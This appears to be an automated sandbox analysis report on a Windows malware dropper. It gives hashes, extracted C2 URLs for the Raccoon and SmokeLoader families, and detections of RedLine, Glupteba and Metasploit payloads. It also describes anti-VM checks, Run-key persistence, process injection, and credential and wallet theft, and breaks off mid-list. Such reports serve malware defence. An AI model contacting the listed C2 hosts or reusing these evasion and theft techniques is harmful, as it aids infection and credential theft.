Analysis
-
max time kernel
113s -
max time network
149s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
21-04-2021 06:37
Static task
static1
Behavioral task
behavioral1
Sample
783CA426AE369D17B2656FB1455E81D0.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
783CA426AE369D17B2656FB1455E81D0.exe
Resource
win10v20210410
General
-
Target
783CA426AE369D17B2656FB1455E81D0.exe
-
Size
380KB
-
MD5
783ca426ae369d17b2656fb1455e81d0
-
SHA1
89e96df6777b61df74fc1f842147c4c6fd014cc4
-
SHA256
6bd5019594fbe81423f3f5c10c61773203914ebcc1d57dfab9bde6d8bc7b6c46
-
SHA512
28bd1ad6e6abc4243cc9d5b61955984e26f9f5109a86b7e2c20668f5610e541abe4f13872135897d8ff5fe82ce8c912c9d18a4070032d3f9ac3ed441a45c0923
Malware Config
Extracted
raccoon
9afb493c6f82d08075dbbfa7d93ce97f1dbf4733
-
url4cnc
https://tttttt.me/antitantief3
Extracted
smokeloader
2020
http://999080321newfolder1002002131-service1002.space/
http://999080321newfolder1002002231-service1002.space/
http://999080321newfolder3100231-service1002.space/
http://999080321newfolder1002002431-service1002.space/
http://999080321newfolder1002002531-service1002.space/
http://999080321newfolder33417-012425999080321.space/
http://999080321test125831-service10020125999080321.space/
http://999080321test136831-service10020125999080321.space/
http://999080321test147831-service10020125999080321.space/
http://999080321test146831-service10020125999080321.space/
http://999080321test134831-service10020125999080321.space/
http://999080321est213531-service1002012425999080321.ru/
http://999080321yes1t3481-service10020125999080321.ru/
http://999080321test13561-service10020125999080321.su/
http://999080321test14781-service10020125999080321.info/
http://999080321test13461-service10020125999080321.net/
http://999080321test15671-service10020125999080321.tech/
http://999080321test12671-service10020125999080321.online/
http://999080321utest1341-service10020125999080321.ru/
http://999080321uest71-service100201dom25999080321.ru/
http://999080321test61-service10020125999080321.website/
http://999080321test51-service10020125999080321.xyz/
http://999080321test41-service100201pro25999080321.ru/
http://999080321yest31-service100201rus25999080321.ru/
http://999080321rest21-service10020125999080321.eu/
http://999080321test11-service10020125999080321.press/
http://999080321newfolder4561-service10020125999080321.ru/
http://999080321rustest213-service10020125999080321.ru/
http://999080321test281-service10020125999080321.ru/
http://999080321test261-service10020125999080321.space/
http://999080321yomtest251-service10020125999080321.ru/
http://999080321yirtest231-service10020125999080321.ru/
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba Payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/5744-327-0x0000000001640000-0x0000000001F4A000-memory.dmp family_glupteba behavioral2/memory/5744-328-0x0000000000400000-0x0000000000D24000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 3 IoCs
Processes:
resource yara_rule behavioral2/memory/5952-362-0x0000000000416266-mapping.dmp family_redline behavioral2/memory/5752-363-0x000000000041622E-mapping.dmp family_redline behavioral2/memory/3624-369-0x0000000000416232-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
svchost.exedescription pid process target process PID 6044 created 5744 6044 svchost.exe app.exe -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
Processes:
Ultra.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts Ultra.exe -
Executes dropped EXE 44 IoCs
Processes:
783CA426AE369D17B2656FB1455E81D0.tmpUltra.exeultramediaburner.exeultramediaburner.tmpRodaelesosha.exeHytelushyri.exeUltraMediaBurner.exebuild.exegoogle-game.exemd8_8eus.exeKiffApp2.exey1.exeinst.exefrXLzvtoolspab2.exetoolspab2.exeaskinstall31.exeSunLabsPlayer.exeapp.exeapp.exedata_load.exeFB4F.exeD32.exe17C2.exe647349126.exe1A15.exe1371397063.exe1BCB.exe233E.exe2860.exe2E0E.exedata_load.exe3207.exe362E.exe4AB1.exerundll32.exe5542.exe59C7.exe5D91.exelighteningplayer-cache-gen.exe2860.exe2860.exe2860.exepid process 4032 783CA426AE369D17B2656FB1455E81D0.tmp 2104 Ultra.exe 3144 ultramediaburner.exe 3220 ultramediaburner.tmp 1196 Rodaelesosha.exe 3948 Hytelushyri.exe 816 UltraMediaBurner.exe 4984 build.exe 1972 google-game.exe 6116 md8_8eus.exe 4748 KiffApp2.exe 5776 y1.exe 2140 inst.exe 5164 frXLzv 6092 toolspab2.exe 4152 toolspab2.exe 4888 askinstall31.exe 5940 SunLabsPlayer.exe 5744 app.exe 4372 app.exe 960 data_load.exe 5456 FB4F.exe 2332 D32.exe 5024 17C2.exe 3920 647349126.exe 6072 1A15.exe 5408 1371397063.exe 5544 1BCB.exe 3244 233E.exe 5840 2860.exe 4740 2E0E.exe 960 data_load.exe 5192 data_load.exe 4392 3207.exe 5560 362E.exe 4716 4AB1.exe 5032 rundll32.exe 4336 5542.exe 5404 59C7.exe 4556 5D91.exe 1584 lighteningplayer-cache-gen.exe 4972 2860.exe 6136 2860.exe 620 2860.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
4AB1.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 4AB1.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 4AB1.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Rodaelesosha.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation Rodaelesosha.exe -
Loads dropped DLL 64 IoCs
Processes:
783CA426AE369D17B2656FB1455E81D0.tmpbuild.exerundll32.exetoolspab2.exey1.exeSunLabsPlayer.exerundll32.exerundll32.exeD32.exelighteningplayer-cache-gen.exepid process 4032 783CA426AE369D17B2656FB1455E81D0.tmp 4984 build.exe 4984 build.exe 4424 rundll32.exe 4152 toolspab2.exe 5776 y1.exe 5776 y1.exe 5776 y1.exe 5776 y1.exe 5776 y1.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 2280 rundll32.exe 5032 rundll32.exe 5940 SunLabsPlayer.exe 2332 D32.exe 2332 D32.exe 2332 D32.exe 2332 D32.exe 2332 D32.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 5940 SunLabsPlayer.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe 1584 lighteningplayer-cache-gen.exe -
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
Ultra.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Adobe\\Bimomoluwa.exe\"" Ultra.exe -
Checks for any installed AV software in registry 1 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\KasperskyLab powershell.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
md8_8eus.exe4AB1.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md8_8eus.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 4AB1.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Drops file in System32 directory 9 IoCs
Processes:
svchost.exerundll32.exesvchost.exedescription ioc process File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent CA705398861DA705 svchost.exe File opened for modification C:\Windows\System32\Tasks\NYRmmlsGBPTI svchost.exe File opened for modification C:\Windows\System32\GroupPolicy rundll32.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI rundll32.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\4G4ZP2E8.cookie svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\4G4ZP2E8.cookie svchost.exe File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini rundll32.exe File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol rundll32.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
4AB1.exepid process 4716 4AB1.exe -
Suspicious use of SetThreadContext 10 IoCs
Processes:
svchost.exetoolspab2.exe647349126.exe1371397063.exe2E0E.exe3207.exe362E.exe5D91.exe2860.exedescription pid process target process PID 3572 set thread context of 4768 3572 svchost.exe svchost.exe PID 3572 set thread context of 5688 3572 svchost.exe svchost.exe PID 6092 set thread context of 4152 6092 toolspab2.exe toolspab2.exe PID 3920 set thread context of 5952 3920 647349126.exe AddInProcess32.exe PID 5408 set thread context of 5752 5408 1371397063.exe AddInProcess32.exe PID 4740 set thread context of 3624 4740 2E0E.exe AddInProcess32.exe PID 4392 set thread context of 4100 4392 3207.exe AddInProcess32.exe PID 5560 set thread context of 1972 5560 362E.exe AddInProcess32.exe PID 4556 set thread context of 4824 4556 5D91.exe AddInProcess32.exe PID 5840 set thread context of 620 5840 2860.exe 2860.exe -
Drops file in Program Files directory 64 IoCs
Processes:
SunLabsPlayer.exeultramediaburner.tmpUltra.exedata_load.exegoogle-game.exedescription ioc process File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\error_window.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\modules\httprequests.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libimem_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mlp_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe ultramediaburner.tmp File created C:\Program Files (x86)\lighteningplayer\lua\playlist\appletrailers.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libwav_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\logger\libconsole_logger_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\misc\libaddonsvorepository_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\misc\libgnutls_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libdemux_stl_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\bbc_co_uk.luac SunLabsPlayer.exe File created C:\Program Files (x86)\Adobe\Bimomoluwa.exe.config Ultra.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\vimeo.luac SunLabsPlayer.exe File created C:\Program Files\temp_files\data.dll data_load.exe File created C:\Program Files (x86)\UltraMediaBurner\is-0G361.tmp ultramediaburner.tmp File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\vlm.xml SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libaiff_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libmod_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libnoseek_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_a52_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libsdp_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libdiracsys_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\anevia_streams.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\librawdv_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\temp_files SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\meta_engine\libfolder_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\modules\dkjson.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libwaveout_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libgme_plugin.dll SunLabsPlayer.exe File created C:\Program Files\nio.dll google-game.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libattachment_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\control\libhotkeys_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\UltraMediaBurner\is-B7CLT.tmp ultramediaburner.tmp File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\README.txt SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\liveleak.luac SunLabsPlayer.exe File opened for modification C:\Program Files\temp_files\NYRmmlsGBPTI.dll data_load.exe File created C:\Program Files (x86)\lighteningplayer\plugins\spu\libaudiobargraph_v_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\speaker-32.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\cli.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\modules\simplexml.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libshm_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libmjpeg_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_flac_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\js\ui.js SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\soundcloud.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libtimecode_plugin.dll SunLabsPlayer.exe File created C:\Program Files\temp_files\cache.dat data_load.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\librawvid_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\lua\liblua_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\js\common.js SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\js\jquery.jstree.js SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\twitch.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\vocaroo.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libhttps_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libcaf_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\Video-48.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\modules\common.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\control\libdummy_plugin.dll SunLabsPlayer.exe -
Drops file in Windows directory 1 IoCs
Processes:
MicrosoftEdge.exedescription ioc process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 36 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 5872 5744 WerFault.exe app.exe 5772 5744 WerFault.exe app.exe 5296 5744 WerFault.exe app.exe 5400 5744 WerFault.exe app.exe 5228 5744 WerFault.exe app.exe 5436 5744 WerFault.exe app.exe 6108 5744 WerFault.exe app.exe 5112 5744 WerFault.exe app.exe 4512 5744 WerFault.exe app.exe 5820 5744 WerFault.exe app.exe 5464 5744 WerFault.exe app.exe 5604 5744 WerFault.exe app.exe 5736 5744 WerFault.exe app.exe 1972 5744 WerFault.exe app.exe 5304 5744 WerFault.exe app.exe 3248 5744 WerFault.exe app.exe 5328 5744 WerFault.exe app.exe 4824 5744 WerFault.exe app.exe 4620 5744 WerFault.exe app.exe 660 5744 WerFault.exe app.exe 5636 5744 WerFault.exe app.exe 5468 4372 WerFault.exe app.exe 5968 4372 WerFault.exe app.exe 5612 4372 WerFault.exe app.exe 2248 4372 WerFault.exe app.exe 5916 4372 WerFault.exe app.exe 3896 4372 WerFault.exe app.exe 5836 4372 WerFault.exe app.exe 4824 4372 WerFault.exe app.exe 5424 4372 WerFault.exe app.exe 2224 4372 WerFault.exe app.exe 5792 4372 WerFault.exe app.exe 5852 4372 WerFault.exe app.exe 4424 4372 WerFault.exe app.exe 4624 4372 WerFault.exe app.exe 3988 4372 WerFault.exe app.exe -
NSIS installer 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\yifxfliw.dd1\SunLabsPlayer.exe nsis_installer_2 C:\Users\Admin\AppData\Local\Temp\yifxfliw.dd1\SunLabsPlayer.exe nsis_installer_2 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
toolspab2.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab2.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab2.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
build.exesvchost.exesvchost.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 build.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString build.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe -
Delays execution with timeout.exe 3 IoCs
Processes:
timeout.exetimeout.exetimeout.exepid process 5388 timeout.exe 6036 timeout.exe 4496 timeout.exe -
Download via BitsAdmin 1 TTPs 1 IoCs
-
Kills process with taskkill 2 IoCs
Processes:
taskkill.exetaskkill.exepid process 4680 taskkill.exe 5420 taskkill.exe -
Processes:
MicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
app.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1661 = "Bahia Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" app.exe Set value (str) 